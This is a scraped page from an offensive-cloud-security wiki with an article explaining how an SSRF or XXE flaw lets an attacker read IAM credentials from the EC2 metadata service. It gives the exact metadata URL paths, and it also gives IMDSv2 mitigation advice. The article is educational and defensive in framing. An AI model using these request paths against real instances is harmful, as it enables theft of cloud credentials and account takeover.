Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stealing-iam-credentials-from-the-instance-metadata-service class=md-nav__link> <span class=md-ellipsis> Stealing IAM Credentials from the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/ec2-metadata-ssrf.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=steal-ec2-metadata-credentials-via-ssrf>Steal EC2 Metadata Credentials via SSRF<a class=headerlink href=#steal-ec2-metadata-credentials-via-ssrf title="Permanent link">&para;</a></h1> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This is a common and well known attack in AWS environments. <a href=https://www.mandiant.com/ >Mandiant</a> has identified <a href=https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903>attackers performing automated scanning of vulnerabilities</a> to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>IMDSv2</a> for all EC2 instances which has <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2>additional security benefits</a>. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.</p> </div> <p>One of the most common techniques in AWS exploitation is abusing the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Instance Metadata Service</a> (IMDS) associated with a target EC2 instance.</p> <p>Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.</p> <p>If an EC2 instance has an IAM role attached to it, <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >IAM credentials</a> associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.</p> <h2 id=stealing-iam-credentials-from-the-instance-metadata-service>Stealing IAM Credentials from the Instance Metadata Service<a class=headerlink href=#stealing-iam-credentials-from-the-instance-metadata-service title="Permanent link">&para;</a></h2> <p>If the EC2 instance is configured to use the default <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service>instance metadata service version 1</a>, it is possible to steal IAM credentials from the instance without getting code execution on it.</p> <p>This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as <a href=https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/ >server side request forgery</a> (SSRF) or <a href=https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>XML external entity</a> (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.</p> <p>To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to <code>http://169.254.169.254</code>.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/ec2-metadata-ssrf/showing-ssrf.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing SSRF" loading=lazy src=../../../images/aws/exploitation/ec2-metadata-ssrf/showing-ssrf.png></a></p> </figure> <p>To determine if the EC2 instance has an IAM role associated with it, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/</code>. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.</p> <p>If there is a valid role we can steal, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/ec2-metadata-ssrf/role-name.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Role Name" loading=lazy src=../../../images/aws/exploitation/ec2-metadata-ssrf/role-name.png></a></p> </figure> <p>To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/</code>.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/ec2-metadata-ssrf/stolen-keys.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Stolen Keys" loading=lazy src=../../../images/aws/exploitation/ec2-metadata-ssrf/stolen-keys.png></a></p> </figure> <p>These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >guide</a>.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.</p> </div> <h2 id=additional-resources>Additional Resources<a class=headerlink href=#additional-resources title="Permanent link">&para;</a></h2> <p>For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent <a href="https://www.youtube.com/watch?v=r7HV4s-4ksQ">video</a> on the 2019 Capital One breach.</p> <p><center><iframe width=560 height=315 src=https://www.youtube.com/embed/r7HV4s-4ksQ title="YouTube video player" frameborder=0 allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></center></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 1, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/gabe-sky class=md-author title=@gabe-sky> <img src="https://avatars.githubusercontent.com/u/1197727?v=4&size=72" alt=gabe-sky> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#steal-ec2-metadata-credentials-via-ssrf class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a 